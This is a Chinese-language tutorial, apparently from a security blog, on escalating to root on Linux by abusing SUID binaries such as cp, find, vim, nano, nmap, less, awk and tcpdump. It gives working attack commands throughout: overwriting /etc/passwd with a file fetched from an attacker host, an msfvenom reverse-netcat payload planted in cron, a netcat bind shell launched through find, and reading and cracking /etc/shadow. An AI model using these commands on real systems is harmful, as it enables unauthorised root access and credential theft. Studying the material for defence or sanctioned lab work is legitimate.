使用SUID二进制文件进行Linux权限升级技巧
0x00 基础知识
众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备。因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制所有三个操作的权限。看如下图所示:
从上图中可看到用于为每个用户设置组合许可的最大位数是7,它是read(4)write(2)和execute(1)操作的组合。例如,如果设置chmod 755,那么它就相当于rwxr-xr-x。
但是当给每个用户特殊许可时,它将变为SUID,SGID和 sticky bits。当其他位设置成“4”时,它变为SUID(设置用户ID),当位“2”设置为组时,它变为SGID(设置组ID),并且如果允许其他用户创建或删除任何用户ID在目录中的文件然后将 sticky bits位 “1”设置到该目录。
1.什么是SUID许可?
SUID: Set User ID是一种权限类型,允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件/程序/命令可以root权限运行.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。
怎么设置suid?
基本上,您可以使用“数字”方法或“符号”方法更改任何文件的权限。结果它将从s替换为 x,如下图所示,表示对特定文件/命令具有更高权限的特殊执行权限。由于为用户启用SUID,因此将在读/写/执行操作之前添加位4或符号s。
如果使用ls -al执行文件命令查看,您将看到到符号small 's',如上图所示,则表示该文件的SUID位已启用,并且可以使用root权限运行。
2.SUID如何帮助普通用户提升权限?
在Linux中,如果启用了SUID位,非root用户可以使用某些现有的二进制文件和命令将特权升级为root访问权限。有一些著名的Linux / Unix可执行文件命令可以让权限升级如命令:Bash,Cat,cp,echo,find,Less,More,Nano,Nmap,Vim。
让我们用实例深入了解。首先,创建一个不是sudo组用户的用户。这里我们添加了一个用户“ignite”,其UID为1001,GID为1001,因此 ignite是非root用户。
0x01 使用“cp”命令进行权限提升
如果为用于复制数据的cp命令启用了suid位,则可导致权限升级以获得root访问权限。例如,假设系统管理员想要为cp命令提供SUID权限。然后,您可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。
which cp ls -al /bin/cp chmod u+s /bin/cp
1.第一种方法
另一方面,开始远程以普通权限登录到目标系统并通过查找命令,然后转移到权限提升阶段。假设通过ssh成功登录受害者的计算机并访问非root用户终端。然后通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。
从上图中可以看到它显示的文件太多但我们重点注意/bin/cp文。因为现在我们可以复制 /etc/password文件来读取用户列表。因此将password文件复制到html目录下。
cp /etc/passwd /var/www/html
另一方面,我们使用OpenSSL passwd生成了一个新的用户hack并设置密码为pass123
我们已经复制的文件也就是在web目录下/var/www/htm的 passwd 文件,所以可以通过网络浏览器访问并下载打开它,然后复制password文件的全部内容到一个文本文件中,并可以添加我们自己的用户与 root UID,GID和目录信息。
在之前的文章中,已经讨论了如何使用openssl passwd实用程序添加用户/etc/passwd。
在我们的另一台服务器上运行Python HTTP服务,将我们编辑的passwd文件传输到受害者机器上。
python -m SimpleHTTPServer 80
众所周知,/tmp目录具有创建或删除任何文件的所有权限,因此在该目录下下载了已修改好的passwd文件。一旦它被下载,然后我们将/tmp/passwd的文件拷贝到/etc/passwd中,结果它将覆盖原始的passwd文件。
命令如下:
cd /tmp wget http://192.168.1.108/passwd cp passwd /etc/passwd
在tail命令的帮助下,我们确保我们添加的用户hack是/etc/passwd文件存储了用户信息。由于我们已经添加了具有root权限的用户,因此将进入root目录.
命令如下:
tail -n 4/etc/passwd su hack whoam
可以成功看到升级为root权限。
2.第二种方法
同样如果为cp命令启用SUID位,我们也可以在目标系统中传输后门。这里我们使用msfvenom命令为反向连接生成了natcat后门。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
然后复制上面突出显示的代码,并通过编辑bash文件将内容粘贴进去,然后准备将它转移到目标的系统中,这里已保存为raj.sh。
现在我们都知道Linux crontab实用计划程序是以每小时,每天,每周和每月运行文件,因此在/etc/cron.hourly目录中复制了raj.sh。它将在一小时后运行raj.sh文件。
命令如下:
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
另一方面,我们在一个新的终端中启动了Netcat监听,并且随着时间的推移,它将提供目标系统的root权限反向连接。因此,我们看到如果SUID位为ON,单个cp命令如何进行权限提升。您可以使用cp命令尝试以自己的方式提升root权限。
0x02 使用Find命令进行权限提升
同样,如果find命令的SUID位为ON,我们可以升级root权限。例如,假设(系统管理员想要为Find命令提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后您可以通过更改权限启用SUID位.
which find ls -al /usr/bin/find chmod u+s /usr/bin/find
再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,您可以枚举具有SUID权限的所有二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们知道命令已启用了SUID位,这意味着我们可以在find命令中执行任何命令。首先,我们创建一个空文件“raj”,然后运行whoami命令,如下所示。
touch raj find raj -exec "whoami" \;
如果攻击者成功枚举了/usr/bin/find的SUID位,那么将允许执行任何恶意命令,例如netcat bin/bash shell命令,或者可以获取重要的系统信息以进行权限提升。
0x03使用Vim进行权限提升
同样,如果Vim编辑器的SUID位为ON,我们可以升级为root权限。例如,假设系统管理员想要为Vim编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,然后可以通过更改权限启用SUID位。
命令如下:
which vim ls -al /usr/bin/vim ls -al /usr/bin/alternatives/vim chmod u+s /usr/bin/vim.basic
您将通过软链接到vim.basic,如下图所示。
再次攻击目标系统,然后如上图所述移动特权升级阶段。然后,通过使用以下命令,可以枚举所有具有SUID权限的二进制文件。
find / -perm -u=s -type f 2>/dev/null
所以在这里我们知道为/usr/bin/vim.basic启用了SUID位,因此现在我们可以编辑通过vim只能由sudo或root用户编辑的文件。
我们知道ignite是权限最小的非root用户,因为vim具有SUID权限,因此,我们可以通过它编辑sudoers文件,并可以更改用户“ignite”的权限。因此,我们通过键入visudo命令打开sudoers文件,并向用户ignite授权所有者权限,如图所示。
ignite ALL=(ALL:ALL) ALL
现在让我们访问根目录,这个技巧也可以很好地用于权限提升。
如下命令:
sudo -l
sudo bash
id
0x04 使用保存的脚本进行权限提升
获得系统或程序调用的任何类型的脚本都有最大的机会进行权限提升,它可以是PHP,Python或C语言脚本的任何脚本。假设系统管理员想要为C语言脚本提供SUID权限,该脚本将在执行时提供bash shell。所以这里我们编写了一个c程序,它将为bash shell调用系统并将其保存为“asroot.c”。
然后在/bi目录中创建一个rootshell目录并复制asroot.c文件到该目录下,然后运行gcc编译器进行编译。
mkdir /bin/rootshell cd /bin/rootshell cp /home/raj/Desktop/asroot.c . ls gcc asroot.c -o shell chmod u+s shell ls -al shell
现在再次攻击目标系统并使用find命令识别具有SUID权限的二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们开始知道列出了二进制文件启用的suid位,但我们重点观察/bin/rootshell/shell。所以进入到/ bin/rootshell目录下并运行脚本“shell”,结果我们获得root访问权限,如下所示。
0x06 使用Nano的权限提升
同样,如果SUID位为ON,则我们可以升级root权限。例如,假设系统管理员想要为nano编辑器提供SUID权限。然后,可以按照以下步骤确定其位置和当前权限,可以通过更改权限启用SUID位。
如下命令:
which nano ls -al /bin/nano chmod u+s /bin/nano
再次攻击目标系统,然后如上所述移动特权升级阶段。然后,通过使用以下命令,可以枚举具有SUID权限的所有二进制文件。
find/-perm-u=s-typef2>/dev/null
所以在这里我们开始知道为/bin/nano启用了SUID位,现在让我们打开/etc/passwd文件来编辑自己的用户,如上所述,使用openssl passwd。
另一方面,我使用openssl passwd添加一个新的用户名的demo以及密码123
现在使用nano编辑器打开passwd文件并添加您自己的用户,如上所述。在这里,您可以看到在受害者的系统中创建了带有加密密码的演示用户。
su demo
id
如果为/ bin/nano启用了suid位,那么可以从/etc/shadow文件中窃取密码。因此,在攻击了目标机器后,我们在nano编辑器中打开了shadow文件,并为用户复制加密密码:raj。
现在将上面的代码复制粘贴到文本文件中并在桌面上保存为hash,然后使用john对其进行破解,如下所示。它已经现实出用户名raj以及密码123,现在尝试通过raj帐户登录目标系统。
0x07 其他tips技巧
1.Nmap
老版本的nmap(2.02-5.21)有 interactive,是允许用户执行系统命令的。提权方式
nmap --interactive
之后执行命令:
nmap> !sh sh-3.2# whoami root
msf中的模块为:
exploit/unix/local/setuid_nmap
2.Find
touch test
find test -exec whoami \;
如果服务器上装了nc,可以直接使用以下命令进行监听:
find test -exec netcat -lvp 5555 -e /bin/sh \;
之后进行连接:
netcat 192.168.1.100 5555
则可获取root shell
3.vim/vi
打开vim,按下ESC
:set shell=/bin/sh :shell
则可执行命令
4.bash
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
5.less
less /etc/passwd
!/bin/sh
6.more
more /home/pelle/myfile
!/bin/bash
7.cp
使用cp覆盖 /etc/shadow
8.mv
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
9.awk
awk 'BEGIN {system("/bin/bash")}'
10.man
man passwd
!/bin/bash
11.python/perl/ruby/lua/etc
perl:
exec "/bin/bash";
python:
import os os.system("/bin/bash")
12.tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root